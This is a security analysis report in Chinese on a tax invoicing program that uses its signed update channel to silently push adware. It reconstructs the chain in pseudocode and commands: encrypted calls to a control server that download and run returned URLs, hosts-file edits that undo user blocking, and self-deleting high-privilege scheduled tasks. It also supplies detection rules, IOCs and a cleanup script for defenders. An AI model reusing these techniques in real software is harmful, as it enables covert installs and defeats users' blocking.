某税务软件供应链事件深度分析报告
——当"合法更新"成为推广通道:一次企业级软件滥用的技术解剖
分析日期:2026-04-14
分析工具:IDA Pro, dnSpy
威胁等级:🟡 中危(滥用合法通道,非传统恶意软件)
摘要
2026年4月,安全研究人员在对企业终端异常弹窗行为进行溯源分析时,发现xxxx旗下税务开票软件存在利用合法更新通道推送广告推广组件的行为。该行为通过多层嵌套架构、正版数字签名、备案域名及加密通信等手段,实现了在数万企业终端上的持久驻留与静默安装。
本报告从技术角度完整还原了该供应链推广链路的实现细节,分析其规避传统安全检测的技术手法,并为企业安全团队提供可落地的检测与清除方案。需要强调的是,本分析仅针对技术行为本身,不涉及对商业模式的法律或道德评判。
一、事件背景:企业刚需软件的双刃剑
1.1 xxx信息与税务开票软件
xxxxx股份有限公司(xxxx)是xxxxx控股的上市公司,其"xxxx"及配套开票软件是全国企业开具增值税发票的法定工具。由于税务合规的强制性,该软件具有以下特征:
- 不可卸载:企业必须安装才能正常经营
- 高权限运行:需访问系统底层资源以对接税控设备
- 自动更新机制:确保政策变更时能快速适配
- 正版数字签名:通过微软WHQL认证,被系统默认信任
这些"优势"在安全视角下,恰恰构成了攻击者梦寐以求的"完美载体"。
1.2 异常现象发现
多地企业用户反馈:
- 电脑右下角定期弹出"xx通"等财税软件广告
- EDR日志中检测到可疑外联下载行为
- 任务管理器中出现未知.NET进程(
WindowsQptAds.exe)
- 防火墙日志显示向
i-tax.cn 子域名发送加密数据
- hosts文件被自动修改,屏蔽规则失效
初步判断:某合法软件组件存在"越界"行为。
二、样本分析:三层架构的"俄罗斯套娃"
通过动态调试与静态逆向,我们还原了该推广体系的完整层级关系:
┌─────────────────────────────────────┐
│ 第一层:税务软件更新组件 (C++/PE) │
│ • 文件:Audiosrva2.exe │
│ • 签名:xxxxxxx正版数字签名 │
│ • 作用:可信下载器 + C2通信中枢 │
└─────────────┬───────────────────────┘
│ AES加密HTTP通信
▼
┌─────────────────────────────────────┐
│ 第二层:WQAS.exe (NSIS安装包) │
│ • 作用:解压部署推广组件 │
│ • 释放:WindowsQptAds.exe + 服务组件 │
└─────────────┬───────────────────────┘
│ 会话跳转 + 持久化
▼
┌─────────────────────────────────────┐
│ 第三层:推广执行层 (.NET WinForms) │
│ • WindowsQptAds.exe:弹窗+下载主体 │
│ • WindowsServiceRunSelf.exe:Session 0绕过 │
│ • 目标:静默安装"xxxx"(qdzs.exe) │
└─────────────────────────────────────┘
💡 关键洞察:每一层都使用合法技术(系统API、.NET框架),但组合后形成了"合法外壳+恶意行为"的灰色模式。
三、技术深度拆解
3.1 第一层:披着合法外衣的下载器
3.1.1 信任链利用
| 技术点 |
实现方式 |
规避效果 |
| 数字签名 |
使用xxxx有效证书 |
绕过SmartScreen、杀软签名校验 |
| 备案域名 |
www.i-tax.cn 为工信部备案域名 |
域名信誉检测失效 |
3.1.2 加密通信协议分析
# 伪代码还原通信逻辑
def c2_communication():
# 1. 读取配置
stop_net = read_config("STOP_NET")
if stop_net == "1": return
# 2. 构造请求
encrypted = aes_cbc_encrypt(plaintext, key="aisinotimeonisia", iv="aisinotimeonisia")
payload = base64_encode(encrypted)
# 3. 发送请求
response = http_post(
url="http://www.i-tax.cn/InterfaceForClient/getSomethingFromServer",
data=payload
)
# 4. 解析响应
decrypted = aes_cbc_decrypt(base64_decode(response), key="aisinotimeonisia")
urls = decrypted.split("@") # 格式:"URL1@URL2@URL3"
# 5. 下载执行
for url in urls:
download_and_execute(url)
3.1.3 hosts文件劫持:确保"回家路"畅通
程序会主动修复用户对 i-tax.cn 的屏蔽:
// sub_4081C0 关键逻辑
void fix_hosts_file() {
string hosts_path = "%WINDIR%\\system32\\drivers\\etc\\hosts";
// 1. 去除只读属性
SetFileAttributesA(hosts_path.c_str(), FILE_ATTRIBUTE_NORMAL);
// 2. 逐行读取并注释掉包含 i-tax.cn 的行
for each line in hosts_file:
if (line.contains("i-tax.cn") && !line.starts_with("#")) {
line = "# " + line; // 添加注释
}
// 3. 写入修改
write_file(hosts_path, modified_content);
}
🔍 行为特征:这不是传统的恶意劫持,而是"反屏蔽"——确保推广通道始终可达。
3.2 第二层:智能弹窗引擎
3.2.1 四重持久化机制
┌───────────────────────────────────────┐
│ 持久化方式 │ 权限级别 │ 清除难度 │
├───────────────────────────────────────┤
│ HKCU Run │ 当前用户 │ ★★☆ │
│ HKLM Run │ 系统全局 │ ★★★ │
│ 启动目录快捷方式 │ 当前用户 │ ★★☆ │
│ 计划任务+HIGHEST│ 系统最高 │ ★★★★ │
└───────────────────────────────────────┘
3.2.2 弹窗触发逻辑(三重校验)
// WindowsQptAds.exe 核心判断逻辑
bool ShouldShowPopup() {
// 条件A:用户未选择"永不提示"
if (File.ReadAllText("confignr.wat") == "1")
return false;
// 条件B:本月未弹窗过
if (File.GetLastWriteTime("config.wat").Month == DateTime.Now.Month)
return false;
// 条件C:服务端允许推广
string response = GetCanRunFromUpdateServer(); // AES加密通信
if (!response.StartsWith("1"))
return false;
return true; // 三者同时满足才弹窗
}
3.2.3 静默安装技巧
- 使用
/S 参数调用NSIS安装包,实现无感安装
- 下载前校验文件哈希,确保完整性
- 安装完成后自动启动目标程序,形成"推广-安装-激活"闭环
3.3 第三层:Session 0 会话绕过
3.3.1 为什么需要绕过?
Windows服务运行在Session 0,无法直接与用户桌面交互。为实现弹窗,攻击者采用计划任务跳转:
服务进程 (Session 0)
│
▼
WTSEnumerateSessions() 枚举活跃会话
│
▼
获取当前登录用户名:"CORP\zhang.san"
│
▼
schtasks /create /tn "SelfRestart_{GUID}"
/tr "C:\\Program Files\\SoftwareDownload\\WindowsQptAds.exe"
/sc once /st "14:35" /ru "CORP\zhang.san" /rl HIGHEST
│
▼
schtasks /run /tn "SelfRestart_{GUID}" // 立即触发
│
▼
WindowsQptAds.exe 在用户桌面 (Session 1+) 运行 → 成功弹窗
3.3.2 自清理机制
为避免留下痕迹,程序会在2分钟后创建清理任务:
schtasks /create /tn "SelfRestart_{GUID}_Cleaner" ^
/tr "schtasks /delete /tn SelfRestart_{GUID} /f" ^
/sc once /st "14:37" /ru "SYSTEM"
⚠️ 高级技巧:利用系统自身功能实现"用完即焚",极大增加溯源难度。
四、完整攻击链还原
时间线特征:
- 默认40小时轮询间隔(可通过Config.txt动态调整)
- 每月仅弹窗1次(避免用户反感)
- 服务端可实时控制"开关",实现精准投放
五、影响评估与风险分级
5.1 直接影响
| 影响维度 |
具体表现 |
严重程度 |
| 系统性能 |
多进程驻留+定期弹窗 |
🟡 中 |
| 用户体验 |
强制推广、不可立即关闭 |
🟡 中 |
| 隐私风险 |
上报MAC地址、软件使用状态 |
🟠 中高 |
| 安全边界 |
修改hosts、创建高权限任务 |
🔴 高 |
| 供应链信任 |
合法签名被滥用 |
🔴 高 |
5.2 潜在风险延伸
- 横向移动跳板:若C2服务器被攻击者控制,可下发任意载荷
- 权限提升利用:
/rl HIGHEST 计划任务可能被用于提权攻击
- 数据泄露通道:加密通信通道可被复用传输敏感信息
- 防御体系失效:传统基于签名/信誉的检测完全绕过
5.3 受影响范围估算
- 地域:全国使用xxxx开票软件的企业(预估数十万家)
- 行业:全行业覆盖,尤以中小企业为主(IT安全投入有限)
- 系统:Windows 7/10/11 x64(.NET Framework 4.0+环境)
六、检测与响应方案
6.1 EDR行为检测规则(YARA+Sigma混合)
# Sigma规则:检测hosts文件异常修改
title: Suspicious Hosts File Modification by Signed Binary
status: experimental
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|endswith: '\system32\drivers\etc\hosts'
Image|endswith:
- '\Audiosrva2.exe'
ModificationType: 'Overwrite'
condition: selection
level: high
// YARA规则:检测AES密钥特征
rule Aisino_Promotion_AES_Key {
meta:
description = "Detect hardcoded AES key 'aisinotimeonisia'"
author = "Security Research Team"
date = "2026-04-14"
strings:
$aes_key = "aisinotimeonisia" ascii wide
$c2_domain = "www.i-tax.cn" ascii
$api_path = "/InterfaceForClient/getSomethingFromServer" ascii
condition:
2 of them
}
6.2 网络层检测建议
| 检测点 |
规则示例(Suricata) |
说明 |
| C2通信 |
alert http any any -> any any (msg:"Aisino C2 POST"; flow:to_server,established; http.method:"POST"; http.uri:"/InterfaceForClient/getSomethingFromServer"; content:"aisinotimeonisia"; fast_pattern; sid:1000001;) |
检测加密请求特征 |
| 下载行为 |
alert http any any -> any any (msg:"Suspicious EXE Download from i-tax.cn"; flow:to_client; http.host:"download.i-tax.cn"; http.uri:/\.exe$/; sid:1000002;) |
监控可执行文件下载 |
| 数据上报 |
alert tls any any -> any any (msg:"Qpt Client Gateway Report"; tls.sni:"qpt.i-tax.cn"; sid:1000003;) |
监控MAC地址上报 |
6.3 手动清除步骤(管理员权限)
# 1. 终止相关进程
Stop-Process -Name "WindowsQptAds", "WindowsServiceRunSelf", "qdzs" -Force -ErrorAction SilentlyContinue
# 2. 删除计划任务
Get-ScheduledTask | Where-Object {$_.TaskName -like "*QptAd*" -or $_.TaskName -like "SelfRestart_*"} | Unregister-ScheduledTask -Confirm:$false
# 3. 清理注册表自启动
$paths = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
foreach ($path in $paths) {
if (Test-Path "$path\WindowsQptAds") {
Remove-ItemProperty -Path $path -Name "WindowsQptAds" -Force
}
}
# 4. 删除启动目录快捷方式
$shortcut = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\WindowsQptAds.lnk"
if (Test-Path $shortcut) { Remove-Item $shortcut -Force }
# 5. 恢复hosts文件
$hosts = "$env:windir\System32\drivers\etc\hosts"
$content = Get-Content $hosts | Where-Object { $_ -notmatch '^#\s*.*i-tax\.cn' }
$content | Set-Content $hosts -Force
# 可选:重新添加用户自定义屏蔽规则
"# Blocked by admin" | Add-Content $hosts
"127.0.0.1 www.i-tax.cn" | Add-Content $hosts
# 6. 清理残留文件
$dirs = "C:\Program Files\SoftwareDownload",
"$env:LOCALAPPDATA\Temp\WQAS_*"
foreach ($dir in $dirs) {
if (Test-Path $dir) { Remove-Item $dir -Recurse -Force -ErrorAction SilentlyContinue }
}
# 7. 验证清除结果
Write-Host " 清理完成,建议重启系统并监控72小时" -ForegroundColor Green
七、行业思考:合法软件的边界在哪里?
7.1 技术中立性与责任归属
本事件暴露出一个深层矛盾:
当"合法技术"被用于"灰色目的",安全团队该如何应对?
- 数字签名本是信任基石,却成为恶意行为的"免死金牌"
- 自动更新本是运维刚需,却沦为静默安装的通道
- 系统API本是开发工具,却被组合成持久化武器
7.2 企业软件供应链安全新挑战
| 传统威胁 |
本事件特征 |
防御难点 |
| 恶意软件 |
合法软件滥用 |
签名校验失效 |
| 钓鱼攻击 |
官方域名推送 |
域名信誉失效 |
| 漏洞利用 |
无漏洞纯逻辑 |
补丁管理无效 |
| 横向移动 |
单点突破即全域 |
边界防御失效 |
7.3 给企业的务实建议
- 最小权限原则:即使对"可信软件",也应限制其系统修改权限
- 行为基线监控:建立正常软件行为画像,检测异常操作序列
- 网络分段隔离:将财务/税务终端与其他业务网络逻辑隔离
- 供应商安全评估:将"软件行为透明度"纳入采购评估指标
- 员工安全意识:培训识别"合法弹窗"与"恶意诱导"的差异
八、附录:完整IOC列表(可直接导入安全设备)
域名/IP(建议监控+选择性阻断)
# C2通信
58.218.215.70
www.i-tax.cn
download.i-tax.cn
qpt.i-tax.cn
# 注意:直接阻断可能影响正常开票业务,建议先监控分析
文件哈希(样本识别)
# WQAS.exe (NSIS installer)
SHA256: b455fc37e0ab4b1f5c86906d1ce78c3090e850706a3d3b29bc668b249e30f06f
# WindowsQptAds.exe
SHA256: 6fcbaec72306b76092c5efd1dbdb66d9a5fe7cddee5673aed850f722e1f86674
# WindowsServiceRunSelf.exe
SHA256: 6d553c9ec535b0a84753671b35594181e4b1c4ea27bba273fcde45b505558fcb
# qdzs.exe
SHA256: e7b278ab72caa1472486639d1a65ce47d5062e0157f31d1d2a13e45ade6c5885
注册表/计划任务/文件路径
# 注册表键
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Audiosrva2.exe
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsQptAds
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsQptAds
# 计划任务名称
WindowsQptAdService
SelfRestart_{GUID}
SelfRestart_{GUID}_Cleaner
# 关键文件路径
C:\Program Files\SoftwareDownload\
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsQptAds.lnk
%WINDIR%\system32\drivers\etc\hosts
网络通信特征
# HTTP请求
POST /InterfaceForClient/getSomethingFromServer HTTP/1.1
Host: www.i-tax.cn
Content-Type: application/octet-stream
# TLS SNI
qpt.i-tax.cn
# 用户代理(部分样本)
User-Agent: AisinoUpdateClient/2.1
结语
本次分析揭示了一个值得行业深思的现象:在数字化转型与合规驱动的双重压力下,企业刚需软件可能成为"灰色推广"的载体。作为安全从业者,我们既要保持技术敏锐度,及时识别新型威胁;也要秉持客观立场,基于事实而非情绪做出判断。
📌 核心建议:
对于此类"合法外壳+灰色行为"的事件,行为检测 > 特征匹配,纵深防御 > 单点拦截,持续监控 > 一次性清除。
企业安全团队应以此为契机,重新审视"可信软件"的管理策略,将软件行为审计纳入日常运营,构建更适应新型供应链风险的防御体系。
免责声明:本报告仅用于安全技术研究与交流,所有分析基于公开样本与逆向工程,不涉及商业诋毁。如发现报告内容有误,欢迎通过正规渠道反馈。
作者:神奇的人鱼 | 最后更新:2026-04-14